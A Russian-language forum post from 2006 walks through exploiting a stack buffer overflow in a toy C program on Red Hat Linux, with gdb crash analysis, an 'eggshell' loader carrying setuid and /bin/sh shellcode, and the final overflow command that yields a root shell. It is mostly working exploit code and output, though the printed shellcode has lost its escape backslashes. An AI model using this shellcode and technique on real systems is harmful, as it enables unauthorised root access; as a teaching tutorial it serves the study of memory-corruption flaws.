IPB

Здравствуйте, гость ( Вход | Регистрация )

 
Reply to this topicStart new topic
> Эксплуатация переполнения буфера на примере RH Linux
Todd'ik
сообщение Jun 4 2006, 08:44
Сообщение #1


Junior Member
*

Группа: Banned
Сообщений: 6
Регистрация: 4.6.2006
Пользователь №: 29774



Переполнение буфера - специфическая ошибка, которая происходит в результате попытки обработки данных, размер которых превышает размер выделенной под них памяти. Успешная эксплуатация позволяет выполнить произвольный машинный код (шеллкод) на уязвимой системе. Об этом и пойдет речь в этой статье.

Итак, давайте посмотрим на нашу уязвимую программу:

#include
int main(int argc, char * argv[])
{
char buffer[10];
if(argc < 2)
{
printf("Usage : %s buffern", argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("ur buffer : %s", buffer);
}

Давайте попробуем запустить ее и передать ей данные:

$ gcc vul.c -o vul
$ ./vul `perl -e ‘print “A” x 20′`
ur buffer : AAAAAAAAAAAAAAAAAAAA

Как видим, 20 байт и меньше не способны переполнить буфер. Давайте увеличим количество входящих данных:

$ ./vul `perl -e ‘print “A” x 30′`
Segmentation fault (core dumped)

А 30 байт вызвали переполнение. Давайте посмотрим, что же произошло. Воспользуемся отладчиком gdb:

$ gdb -c core ./vul
GNU gdb…
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6…done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2…done.
Loaded symbols for /lib/ld-linux.so.2
#0 0×40003e40 in process_envvars (modep=Cannot access memory at address
0×41414149
) at rtld.c:1463
1463
rtld.c: No such file or directory.
in rtld.c
(gdb) info reg eip
eip 0×40003e40 0×40003e40
(gdb) info reg ebp
ebp 0×41414141 0×41414141

Как видно из дампа, нам удалось перезаписать регистр ebp(extended
base pointer ), но регистр eip(extended instruction pointer) перезаписать не удалось. Чтож, попробуем еще увеличить размер входящих данных:

$ ./vul `perl -e ‘print “A” x 32′`
Segmentation fault (core dumped)
$ gdb -c core ./vul
GNU gdb…
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6…done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2…done.
Loaded symbols for /lib/ld-linux.so.2
#0 0×41414141 in ?? ()
(gdb) info reg ebp
ebp 0×41414141 0×41414141
(gdb) info reg eip
eip 0×41414141 0×41414141
(gdb) q

С помощью строки в 32 байта нам удалось перезаписать оба регистра адресом 0×41414141, причем 41 - это ascii-код символа “A”.
Следующим шагом нам нужно найти адрес, который перенаправит уязвимый сценарий на наш шеллкод. Сперва мы составим нашу программу, содержащую наш шеллкод:

include
#define NOP 0×90 /* our nops (no operations) */

char shellcode[] =
“x31xc0x31xdbxb0x17xcdx80″ /* setuid() (not mine) */
“xebx5ax5ex31xc0x88x46x07x31xc0x31xdbxb0x27xcd”
“x80x85xc0x78x32x31xc0x31xdbx66xb8x10x01xcdx80″
“x85xc0x75x0fx31xc0x31xdbx50x8dx5ex05x53x56xb0″
“x3bx50xcdx80x31xc0x8dx1ex89x5ex08x89x46x0cx50″
“x8dx4ex08x51x56xb0x3bx50xcdx80x31xc0x8dx1ex89″
“x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c”
“xcdx80xe8xa1xffxffxffx2fx62x69x6ex2fx73x68″;

int main(void)
{
char eggshell[512];
puts(”eggshell by _6mO_HaCk, loaded into environment”);
memset(eggshell,NOP,512);
memcpy(&eggshell[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv(”EGG”, eggshell, 1);
putenv(eggshell);
system(”/bin/bash”);
return(0);
}

Скомпилируем и запустим нашу программу:

$ gcc eggshell.c -o eggshell; ./eggshell
eggshell by _6mO_HaCk, loaded into environment

$ ./vul `perl -e ‘print “A” x 32′`
Segmentation fault (core dumped)

$ gdb -c core ./vul
GNU gdb…
Core was generated by `./vul’.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6…done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2…done.
Loaded symbols for /lib/ld-linux.so.2
#0 0×41414141 in ?? ()
(gdb) x/s $esp
0xbffff570:
“”
(gdb)
0xbffff571:
“”
(gdb)
0xbffff572:
“”
(gdb)
0xbffff573:
“”
(gdb)
0xbffff574:
“Ьхяїдхяїц202004bА204004b”

Пока что адреса мы не видим. Смотрим дальше

(gdb)
0xbffffa60:
“5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:”
(gdb)
0xbffffa93:
“MACHTYPE=i386-redhat-linux-gnu”
(gdb)
0xbffffab2:
“KDE_MULTIHEAD=false”
(gdb)
0xbffffac6:
“EGG=”, ‘220′ …
(gdb)
0xbffffb8e:
‘220′ … <---- Вот он, адрес шеллкода, который мы искали
(gdb)
0xbffffc56:

"2202202202201А1Ы°027Н200лZ^1А210Fa1А1Ы°'Н200205Аx21А1Ыfё020001Н200
205Аu0171А1ЫP215^005SV°;PН2001А215036211^b211FfP215NbQV°;PН2001А2
15036211^b211Ff°013211у215Nb215VfН200иЎяяя/bin/shА227004bдy025@Ё
хяїw221004@001"
(gdb) Quit
(gdb) x/x 0xbffffb8e
0xbffffb8e:
0x90909090

Итак, мы нашли адрес нашего шеллкода. Следующим шагом нам нужно переполнить буфер таким образом, чтобы после переполнения, управление передалось нашему шеллкоду.
Для этого мы возьмем строку 0xbffffb8e, удалим из нее 0x (символы не играют сейчас никакой роли) и разделим строку на элементы по 2 байта (bf ff fb 8e) и перепишем их в обратном порядке (т.к. стек работает по принципу first-in-last-out), добавим перед каждым символом x. Таким образом, наш адрес примет вид: x8exfbxffxbf
Как вы помните, успешное переполнение происходит при размере буфера в 32 байта. Так как мы сейчас допишем 4 байта адреса нашего шеллкода, то нужно 4 байта и удалить.
Чтож, давайте попробуем переполнить буфер и передать управление шеллкоду:

$ ./vul `perl -e ‘print “A” x 28′“printf “x8exfbxffxbf”`
sh-2.04#

Как видите, переполнение буфера произошло успешно, управление было передано нашему шеллкоду, который предоставил нам шелл.
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 1st January 2025 - 17:51